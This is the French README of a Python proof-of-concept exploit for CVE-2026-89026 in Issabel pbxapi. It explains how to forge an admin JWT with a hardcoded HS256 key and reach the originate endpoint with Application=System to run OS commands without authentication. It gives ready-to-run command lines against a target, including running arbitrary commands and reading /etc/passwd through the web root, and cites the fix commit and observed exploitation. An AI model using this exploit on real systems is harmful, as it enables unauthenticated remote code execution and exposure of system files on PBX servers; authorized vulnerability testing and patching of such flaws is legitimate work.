
PoC Python qui forge un JWT HS256 codé en dur pour exploiter CVE-2026-89026 dans Issabel pbxapi, permettant l'exécution de commandes OS à distance sans authentification via le endpoint originate.
Issabel pbxapi RCE par JWT codé en dur POC
Issabel Framework pbxapi — forge de JWT non authentifiée (clé HS256 codée en dur) puis GET /pbxapi/manager/originate avec Application=System pour exécuter des commandes OS en tant qu'utilisateur Asterisk. Corrigé dans le commit b97dbaf (clé chargée depuis /etc/issabel.conf). Shadowserver a observé une exploitation à partir du 2026-09-09.
Pour tests autorisés uniquement. Ne pas exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation de test.
Prérequis : Python 3, bibliothèque standard uniquement.
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
| Option | Ce qu'elle fait |
|---|---|
-u / --url | URL de base Issabel (requise). http:// ou https://. Un nom d'hôte sans schéma est essayé en HTTPS d'abord, puis HTTP. Les redirections http→https conservent le POST. Les certificats TLS invalides sont réessayés sans vérification ; --insecure ignore la vérification dès le départ (Issabel utilise souvent un certificat auto-signé) |
--test | Empreinte de /pbxapi et preuve qu'un JWT admin forgé est accepté. Pas d'originate / pas de commande |
--read PATH | Exécute cp PATH dans la racine web via System, puis GET le fichier (c'est ainsi que vous voyez /etc/passwd) |
--cmd CMD | GET /pbxapi/manager/originate?application=System&data=CMD. AMI ne renvoie pas stdout — utilisez --read pour visualiser un fichier |
--channel | Originate Channel (par défaut Local/s@default) |
--insecure | Ignore la vérification TLS |
--timeout | Délai HTTP en secondes (par défaut 30) |
Points de terminaison --test : GET /pbxapi/ sans Authorization (attendre 403), puis la même URL avec Authorization: Bearer <JWT forgé>. Un JSON 200 listant controllers / manager (ou un JSON de connexion AMI après authentification) est VULNERABLE. Il n'appelle pas originate.
Authentification : il n'y en a aucune pour l'attaquant. L'API croit avoir une authentification Bearer JWT. Avant le correctif, pbxapi/index.php définit JWT_KEY sur une chaîne compilée dans chaque installation. Le PoC signe en HS256 {iat, exp, data.name=admin} avec cette clé. Après le correctif, la clé est base64_decode(pbxapijwtsecret) depuis /etc/issabel.conf et le jeton standard est rejeté (NOT_VULNERABLE).
Stdout : PBXAPI, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, HANDLER, HTTP.

CVE : CVE-2026-89026. Crédit : Shadowserver Foundation / VulnCheck. Correctif : b97dbaf.